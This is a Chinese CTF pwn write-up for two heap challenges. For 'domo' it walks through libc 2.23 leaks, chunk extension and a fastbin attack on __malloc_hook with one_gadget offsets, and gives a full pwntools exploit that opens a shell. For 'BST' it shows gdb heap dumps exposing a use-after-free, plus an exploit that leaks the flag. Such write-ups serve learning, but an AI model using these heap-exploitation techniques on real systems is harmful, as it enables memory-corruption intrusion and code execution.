PWN
domo
思路
挺简单的一道pwn题,具有add、delete、show功能,同时可以任意地址写一字节。
题目环境是libc2.23的,所以利用方式比较简单。
首先通过fastbin和unsortbin来leak libc和heap。
然后申请4个chunk,在申请第二个chunk的时候顺便将第三个chunk的prev_size位设置为第一第二个chunk的大小;然后free掉第一个;再将第三个chunk的size的p位清0,free掉第三个chunk,就可以实现chunk extended。接着重新申请就可以得到两个同时指向chunk2的指针,然后就是fastbin attack那些操作了。。。
最后getshell的话是利用scanf输入较大数据的时候会malloc(这一机制也会触发malloc_consolidate机制,具体可以在网上找找文章,这里没用到就不详细讲了),已经就可以绕过后面seccomp的防护以及对堆操作的检查。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import * p = process("./domo") p = remote("node3.buuoj.cn","26472") libc = ELF("./domo").libc def add(size,data): p.recvuntil("5: Exit") p.sendline("1") p.recvuntil("size:") p.sendline(str(size)) p.recvuntil("content:") p.send(data) def free(index): p.recvuntil("5: Exit") p.sendline("2") p.recvuntil("index:") p.sendline(str(index)) def show(index): p.recvuntil("5: Exit") p.sendline("3") p.recvuntil("index:") p.sendline(str(index)) def edit(addr,byte): p.recvuntil("5: Exit") p.sendline("4") p.recvuntil("addr:") p.sendline(str(addr)) p.recvuntil("num:") p.sendline(byte) one = [0x45216,0x4526a,0xf02a4,0xf1147] add(0xf0,'aaaa') add(0xf0,'aaaa') free(0) add(0xf0,'\n') show(0) p.recvline() libc.address = u64(p.recv(6)+'\x00\x00') -0x3C4B0A print hex(libc.address) free(0) free(1) add(0x60,'aaaa') add(0x60,'aaaa') add(0xf0,'aaaa') free(1) free(0) add(0x60,'\n') show(0) p.recvline() heap = u64(p.recv(6)+'\x00\x00') -0xa print hex(heap) free(0) free(2) add(0xf8,'aaaa') add(0xf2,'a'*0xf0+'\x00\x02') add(0xf0,'aaaa') free(0) edit(heap+0x218,'\x00') free(2) add(0xf0,'aaaa') add(0x68,'aaaa') add(0x68,'aaaa') add(0xf0,'aaaa') free(1) free(3) free(2) add(0x60,p64(libc.sym['__malloc_hook']-0x23)) add(0x60,'aaaa') add(0x60,'aaaa')
add(0x60,'\x00'*0x3+p64(0)+p64(libc.address+one[3])+p64(libc.sym['realloc']+6)) print hex(libc.sym['__realloc_hook'])
p.recvuntil("5: Exit") p.sendline("1 "+'1'*0x400) p.interactive()
|
BST
思路
这道题分析了好久,最后出来好像是非预期。。。
因为不太懂c++,所以是直接在gdb下一步一步调试出功能的,主要就是一个0x30大小的结构体(数据类型。。。呃。。随便就好):
1 2 3 4 5 6 7 8
| struct bst{ int64_t idx; int64_t size; int64_t *data_ptr; int64_t *left_node; int64_t *right_node; int64_t *parent_node; }
|
然后在尝试申请5->3->4->2后,free节点3(即同时存在左右节点和父节点)的时候,发现存在uaf漏洞:
free前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 节点5: 0x55bccacf5d10: 0x00000000 0x00000000 0x00000041 0x00000000 0x55bccacf5d20: 0x00000005 0x00000000 0x00000068 0x00000000 0x55bccacf5d30: 0xcacf5d60 0x000055bc 0xcacf5e60 0x000055bc 0x55bccacf5d40: 0x00000000 0x00000000 0x00000000 0x00000000 节点3: 0x55bccacf5e50: 0x00000000 0x00000000 0x00000041 0x00000000 0x55bccacf5e60: 0x00000003 0x00000000 0x00000028 0x00000000 0x55bccacf5e70: 0xcacf5ea0 0x000055bc 0xcacf5e20 0x000055bc 0x55bccacf5e80: 0xcacf5de0 0x000055bc 0xcacf5d20 0x000055bc 节点4: 0x55bccacf5dd0: 0x00000000 0x00000000 0x00000041 0x00000000 0x55bccacf5de0: 0x00000004 0x00000000 0x00000068 0x00000000 0x55bccacf5df0: 0xcacf5ee0 0x000055bc 0x00000000 0x00000000 0x55bccacf5e00: 0x00000000 0x00000000 0xcacf5e60 0x000055bc 节点2: 0x55bccacf5e10: 0x00000000 0x00000000 0x00000041 0x00000000 0x55bccacf5e20: 0x00000002 0x00000000 0x00000068 0x00000000 0x55bccacf5e30: 0xcacf5f60 0x000055bc 0x00000000 0x00000000 0x55bccacf5e40: 0x00000000 0x00000000 0xcacf5e60 0x000055bc
|
free后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 节点5: 0x55bccacf5d10: 0x00000000 0x00000000 0x00000041 0x00000000 0x55bccacf5d20: 0x00000005 0x00000000 0x00000068 0x00000000 0x55bccacf5d30: 0xcacf5d60 0x000055bc 0xcacf5e60 0x000055bc 0x55bccacf5d40: 0x00000000 0x00000000 0x00000000 0x00000000 节点4: 0x55bccacf5e50: 0x00000000 0x00000000 0x00000041 0x00000000 0x55bccacf5e60: 0x00000004 0x00000000 0x00000068 0x00000000 0x55bccacf5e70: 0xcacf5fe0 0x000055bc 0xcacf5e20 0x000055bc 0x55bccacf5e80: 0xcacf5de0 0x000055bc 0xcacf5d20 0x000055bc 节点2: 0x55bccacf5e10: 0x00000000 0x00000000 0x00000041 0x00000000 0x55bccacf5e20: 0x00000002 0x00000000 0x00000068 0x00000000 0x55bccacf5e30: 0xcacf5f60 0x000055bc 0x00000000 0x00000000 0x55bccacf5e40: 0x00000000 0x00000000 0xcacf5e60 0x000055bc 0x55bccacf5e50: 0x00000000 0x00000000 0x00000041 0x00000000
|
可以明显看到节点4中的右节点指针指向heap+0xde0,而这个地址并不在我们的现有节点中,查看下bins:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x55bccacf5dd0 —▸ 0x55bccacf5e90 ◂— 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x55bccacf5ed0 —▸ 0x55bccacf5c10 —▸ 0x55bccacf5c90 ◂— 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
|
可以看到这个是一个被free后指针,所以我们可以通过构造申请从而像其中写入flag的地址,然后打印就可以了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context.log_level = 'debug' p = process("./BST")
def show(): p.recvuntil("4.updata_______") p.sendline("1") def add(index,size,data): p.recvuntil("4.updata_______") p.sendline("2") p.recvuntil("id:") p.sendline(str(index)) p.recvuntil("size:") p.sendline(str(size)) p.recvuntil("content") p.send(data) def free(index): p.recvuntil("4.updata_______") p.sendline("3") p.recvuntil("id:") p.sendline(str(index)) add(5,0x68,'1'*4) add(3,0x28,'2'*4) add(4,0x68,'3'*4) add(2,0x68,'4'*4) gdb.attach(p, 'b *$rebase(0x1789)') free(3) add(3,0x28,p64(20)+p64(0x30)+p64(0x66666000)) show() p.interactive()
|